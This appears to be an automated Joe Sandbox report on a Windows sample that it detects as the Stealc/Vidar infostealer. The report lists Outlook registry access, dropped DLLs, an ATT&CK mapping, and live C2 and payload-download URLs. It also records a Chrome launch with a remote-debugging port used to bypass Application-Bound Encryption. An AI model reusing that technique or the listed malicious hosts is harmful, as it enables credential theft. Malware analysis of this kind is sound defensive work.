Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 4364, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2729651276.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2211035848.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2727488933.0000000000251000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4364, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4364, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	112 Process Injection	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe	45%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll;	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dllC	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllg	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllu	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpCBFIDG.exeata;	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dll=	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.210.172	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
plus.l.google.com	172.217.17.46	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.57	true	false	high
www.google.com	142.250.181.68	true	false	high
b-0005.b-dc-msedge.net	13.107.9.158	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239317301257_1V7UFS3KR429ZBZW8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239391074267_1LFWW0OVV8A8XLNH1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381877256_198YE57VZVEUAHBD7&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381877257_1ABR0ZMHI2BWVS3EY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732517636735&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732517629967&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://sb.scorecardresearch.com/b?rn=1732517629969&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DA1B1BEC00C601118A0A4FCC1806184&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239391074266_1FC7YWZ4JCQ2TYVA7&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
https://chrome.cloudflare-dns.com/dns-query	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732517636872&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732517635879&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://c.msn.com/c.gif?rnd=1732517629968&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3caf3374baab4a08aa103de445967f78&activityId=3caf3374baab4a08aa103de445967f78&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=8A4B8D2CFE114BE7B8264D967968FD62&MUID=2DA1B1BEC00C601118A0A4FCC1806184	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732517635874&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b2?rn=1732517629969&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DA1B1BEC00C601118A0A4FCC1806184&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.16.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, DBFBFBGD.1.dr, KEGCBFCB.1.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.16.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, DBFBFBGD.1.dr, KEGCBFCB.1.dr	false		high
https://ntp.msn.com/_default	QuotaManager.16.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.16.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.16.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, DBFBFBGD.1.dr, KEGCBFCB.1.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.16.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll;	file.exe, 00000001.00000002.2729651276.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000001.00000002.2759176656.00000000234F2000.00000004.00000020.00020000.00000000.sdmp, IEBFHCAKFBGDHIDHIDBK.1.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.16.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpK	skotes.exe, 00000020.00000002.3454377934.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com	000003.log6.16.dr	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.16.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, DBFBFBGD.1.dr, KEGCBFCB.1.dr	false		high
https://ntp.msn.com/	000003.log3.16.dr	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000001.00000002.2755801391.000000001D38C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2763620252.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start	Session_13376991217971640.16.dr	false		high
https://ntp.msn.com/ntp.msn.com_default	QuotaManager.16.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		high
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, DBFBFBGD.1.dr, KEGCBFCB.1.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dllC	file.exe, 00000001.00000002.2729651276.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://img-s.msn.cn/tenant/amp/entityid/	2cc80dabc69f58b6_1.16.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000001.00000002.2759176656.00000000234F2000.00000004.00000020.00020000.00000000.sdmp, IEBFHCAKFBGDHIDHIDBK.1.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	IEBFHCAKFBGDHIDHIDBK.1.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.16.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, DBFBFBGD.1.dr, KEGCBFCB.1.dr	false		high
https://assets.msn.com	08eab6ac-041f-43f5-a394-5b37f5803d77.tmp.17.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, KEGCBFCB.1.dr	false		high
https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288	2cc80dabc69f58b6_1.16.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000001.00000003.2628000414.000000002374A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllu	file.exe, 00000001.00000002.2729651276.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000001.00000002.2759176656.00000000234F2000.00000004.00000020.00020000.00000000.sdmp, IEBFHCAKFBGDHIDHIDBK.1.dr	false		high
http://185.215.113.206ngineer	file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, KEGCBFCB.1.dr	false		high
https://bit.ly/wb-precache	2cc80dabc69f58b6_1.16.dr	false		high
https://www.google.com/chrome	content.js.16.dr, content_new.js.16.dr	false		high
https://msn.comXID/	Cookies.17.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	file.exe, 00000001.00000003.2628000414.000000002374A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000001.00000002.2759176656.00000000234F2000.00000004.00000020.00020000.00000000.sdmp, IEBFHCAKFBGDHIDHIDBK.1.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.16.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllg	file.exe, 00000001.00000002.2729651276.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000001.00000002.2759176656.00000000234F2000.00000004.00000020.00020000.00000000.sdmp, IEBFHCAKFBGDHIDHIDBK.1.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpCBFIDG.exeata;	file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://chromewebstore.google.com/	manifest.json.16.dr	false		high
http://31.41.244.11/files/random.exephp	skotes.exe, 00000020.00000002.3454377934.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.16.dr	false		high
https://clients2.googleusercontent.com	e65bf950-44d4-40f9-8d0d-4290351ad904.tmp.17.dr, 08eab6ac-041f-43f5-a394-5b37f5803d77.tmp.17.dr	false		high
https://msn.comXIDv10	Cookies.17.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 00000020.00000002.3454377934.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpM	file.exe, 00000001.00000002.2729651276.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore/	manifest.json.16.dr	false		high
http://185.215.113.206	file.exe, 00000001.00000002.2729651276.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll=	file.exe, 00000001.00000002.2729651276.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, KEGCBFCB.1.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpsoft	file.exe, 00000001.00000002.2729651276.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.16.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000001.00000002.2759176656.00000000234F2000.00000004.00000020.00020000.00000000.sdmp, IEBFHCAKFBGDHIDHIDBK.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.201.18	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
204.79.197.239	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.209.72.30	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
2.16.158.59	unknown	European Union	20940	AKAMAI-ASN1EU	false
18.165.220.57	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
23.200.3.19	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.173.219.84	unknown	United States	3	MIT-GATEWAYSUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
13.107.9.158	b-0005.b-dc-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.189.173.24	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.201.13	unknown	United States	20940	AKAMAI-ASN1EU	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.7
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562094
Start date and time:	2024-11-25 07:52:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@78/295@30/28
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.199.58.43, 192.229.221.95, 199.232.214.172, 172.217.19.227, 172.217.17.46, 74.125.205.84, 34.104.35.123, 172.217.21.35, 142.250.181.106, 172.217.17.74, 172.217.19.234, 142.250.181.74, 142.250.181.10, 142.250.181.138, 172.217.21.42, 172.217.17.42, 172.217.19.202, 142.250.181.42, 172.217.19.170, 13.107.42.16, 131.253.33.203, 131.253.33.239, 13.107.22.239, 13.87.96.169, 23.32.238.176, 23.32.238.195, 172.165.69.228, 23.32.238.240, 23.32.238.168, 23.32.238.200, 23.32.238.216, 23.32.238.201, 23.32.238.241, 2.16.158.176, 2.16.158.184, 2.16.158.187, 2.16.158.192, 2.16.158.185, 2.16.158.186, 2.16.158.27, 2.16.158.171, 2.16.158.179, 104.126.37.56, 104.126.37.41, 104.126.37.34, 104.126.37.51, 104.126.37.40, 104.126.37.42, 104.126.37.50, 104.126.37.43, 104.126.37.49, 13.74.129.1, 131.253.33.237, 13.107.22.237, 204.79.197.203, 199.232.210.172, 2.19.198.73, 23.32.238.96, 142.251.40.227, 142.251.32.99, 142.250.65.163, 142.251.40.163
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, dual-a-0034.dc-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, iris-de-prod-azsc-v2-frc.francecentra
Execution Graph export aborted for target DocumentsCFIECBFIDG.exe, PID 8328 because it is empty
Execution Graph export aborted for target skotes.exe, PID 6400 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
